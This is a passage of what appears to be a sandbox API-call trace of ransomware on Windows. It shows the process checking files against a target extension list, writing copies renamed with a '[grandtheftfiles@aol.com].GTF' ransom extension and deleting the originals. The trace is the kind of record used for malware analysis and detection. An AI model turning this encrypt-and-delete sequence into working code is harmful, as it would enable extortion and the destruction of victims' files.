	[0162.532] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.534] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.536] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.536] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.536] SetEndOfFile (hFile=0x530) returned 1
	[0162.536] CloseHandle (hObject=0x530) returned 1
	[0162.536] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.536] SetEndOfFile (hFile=0x504) returned 1
	[0162.540] CloseHandle (hObject=0x504) returned 1
	[0162.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1
	[0162.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.541] lstrlenW (lpString=".doc") returned 4
	[0162.541] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString=".docx") returned 5
	[0162.541] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0162.541] lstrlenW (lpString=".pdf") returned 4
	[0162.541] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString=".xls") returned 4
	[0162.541] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString=".xlsx") returned 5
	[0162.541] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0162.541] lstrlenW (lpString=".ppt") returned 4
	[0162.541] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.541] lstrlenW (lpString=".zip") returned 4
	[0162.541] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString=".rar") returned 4
	[0162.541] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString=".bz2") returned 4
	[0162.541] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString=".7z") returned 3
	[0162.541] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.541] lstrlenW (lpString=".dbf") returned 4
	[0162.541] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.541] lstrlenW (lpString=".1cd") returned 4
	[0162.542] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.542] lstrlenW (lpString=".jpg") returned 4
	[0162.542] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.542] lstrlenW (lpString=".doc") returned 4
	[0162.542] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString=".docx") returned 5
	[0162.542] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1
	[0162.542] lstrlenW (lpString=".pdf") returned 4
	[0162.542] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString=".xls") returned 4
	[0162.542] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString=".xlsx") returned 5
	[0162.542] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1
	[0162.542] lstrlenW (lpString=".ppt") returned 4
	[0162.542] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.542] lstrlenW (lpString=".zip") returned 4
	[0162.542] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString=".rar") returned 4
	[0162.542] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString=".bz2") returned 4
	[0162.542] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString=".7z") returned 3
	[0162.542] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.542] lstrlenW (lpString=".dbf") returned 4
	[0162.542] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.542] lstrlenW (lpString=".1cd") returned 4
	[0162.542] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68
	[0162.542] lstrlenW (lpString=".jpg") returned 4
	[0162.543] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.543] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.543] lstrlenW (lpString="J0101866.BMP") returned 12
	[0162.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.543] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=32184) returned 1
	[0162.543] CloseHandle (hObject=0x504) returned 1
	[0162.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220
	[0162.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.544] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.544] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.545] GetLastError () returned 0x0
	[0162.545] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0162.547] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0162.549] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.549] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.549] SetEndOfFile (hFile=0x530) returned 1
	[0162.549] CloseHandle (hObject=0x530) returned 1
	[0162.549] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.549] SetEndOfFile (hFile=0x504) returned 1
	[0162.552] CloseHandle (hObject=0x504) returned 1
	[0162.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1
	[0162.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.553] lstrlenW (lpString=".doc") returned 4
	[0162.553] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.553] lstrlenW (lpString=".docx") returned 5
	[0162.553] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0162.553] lstrlenW (lpString=".pdf") returned 4
	[0162.553] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.553] lstrlenW (lpString=".xls") returned 4
	[0162.553] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.553] lstrlenW (lpString=".xlsx") returned 5
	[0162.553] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0162.553] lstrlenW (lpString=".ppt") returned 4
	[0162.553] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.553] lstrlenW (lpString=".zip") returned 4
	[0162.553] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.553] lstrlenW (lpString=".rar") returned 4
	[0162.553] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.553] lstrlenW (lpString=".bz2") returned 4
	[0162.553] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.553] lstrlenW (lpString=".7z") returned 3
	[0162.554] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.554] lstrlenW (lpString=".dbf") returned 4
	[0162.554] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.554] lstrlenW (lpString=".1cd") returned 4
	[0162.554] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.554] lstrlenW (lpString=".jpg") returned 4
	[0162.554] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.554] lstrlenW (lpString=".doc") returned 4
	[0162.554] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString=".docx") returned 5
	[0162.554] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0162.554] lstrlenW (lpString=".pdf") returned 4
	[0162.554] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString=".xls") returned 4
	[0162.554] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString=".xlsx") returned 5
	[0162.554] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0162.554] lstrlenW (lpString=".ppt") returned 4
	[0162.554] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.554] lstrlenW (lpString=".zip") returned 4
	[0162.554] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString=".rar") returned 4
	[0162.554] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString=".bz2") returned 4
	[0162.554] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.554] lstrlenW (lpString=".7z") returned 3
	[0162.554] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.554] lstrlenW (lpString=".dbf") returned 4
	[0162.554] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.555] lstrlenW (lpString=".1cd") returned 4
	[0162.555] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0162.555] lstrlenW (lpString=".jpg") returned 4
	[0162.555] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.555] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0162.555] lstrlenW (lpString="J0101867.BMP") returned 12
	[0162.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.555] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=32616) returned 1
	[0162.555] CloseHandle (hObject=0x504) returned 1
	[0162.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 0x220
	[0162.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.556] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.556] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.557] GetLastError () returned 0x0
	[0162.557] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x7f68, lpOverlapped=0x0) returned 1
	[0162.559] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x7f70, lpOverlapped=0x0) returned 1
	[0162.561] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.561] WriteFile (in: hFile=0x530, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.561] SetEndOfFile (hFile=0x530) returned 1
	[0162.561] CloseHandle (hObject=0x530) returned 1
	[0162.561] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.561] SetEndOfFile (hFile=0x504) returned 1
	[0162.564] CloseHandle (hObject=0x504) returned 1
	[0162.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101867.bmp")) returned 1
	[0162.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.565] lstrlenW (lpString=".doc") returned 4
	[0162.565] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.565] lstrlenW (lpString=".docx") returned 5
	[0162.565] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0162.565] lstrlenW (lpString=".pdf") returned 4
	[0162.565] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.565] lstrlenW (lpString=".xls") returned 4
	[0162.565] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.565] lstrlenW (lpString=".xlsx") returned 5
	[0162.565] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0162.565] lstrlenW (lpString=".ppt") returned 4
	[0162.565] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.565] lstrlenW (lpString=".zip") returned 4
	[0162.565] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.565] lstrlenW (lpString=".rar") returned 4
	[0162.565] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.565] lstrlenW (lpString=".bz2") returned 4
	[0162.566] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString=".7z") returned 3
	[0162.566] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.566] lstrlenW (lpString=".dbf") returned 4
	[0162.566] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.566] lstrlenW (lpString=".1cd") returned 4
	[0162.566] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.566] lstrlenW (lpString=".jpg") returned 4
	[0162.566] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.566] lstrlenW (lpString=".doc") returned 4
	[0162.566] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString=".docx") returned 5
	[0162.566] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1
	[0162.566] lstrlenW (lpString=".pdf") returned 4
	[0162.566] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString=".xls") returned 4
	[0162.566] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString=".xlsx") returned 5
	[0162.566] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1
	[0162.566] lstrlenW (lpString=".ppt") returned 4
	[0162.566] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.566] lstrlenW (lpString=".zip") returned 4
	[0162.566] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString=".rar") returned 4
	[0162.566] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString=".bz2") returned 4
	[0162.566] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.566] lstrlenW (lpString=".7z") returned 3
	[0162.566] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.567] lstrlenW (lpString=".dbf") returned 4
	[0162.567] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.567] lstrlenW (lpString=".1cd") returned 4
	[0162.567] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.BMP") returned 68
	[0162.567] lstrlenW (lpString=".jpg") returned 4
	[0162.567] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.567] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.567] lstrlenW (lpString="J0101980.WMF") returned 12
	[0162.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.567] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=16104) returned 1
	[0162.567] CloseHandle (hObject=0x504) returned 1
	[0162.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220
	[0162.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0162.568] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.568] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.569] GetLastError () returned 0x0
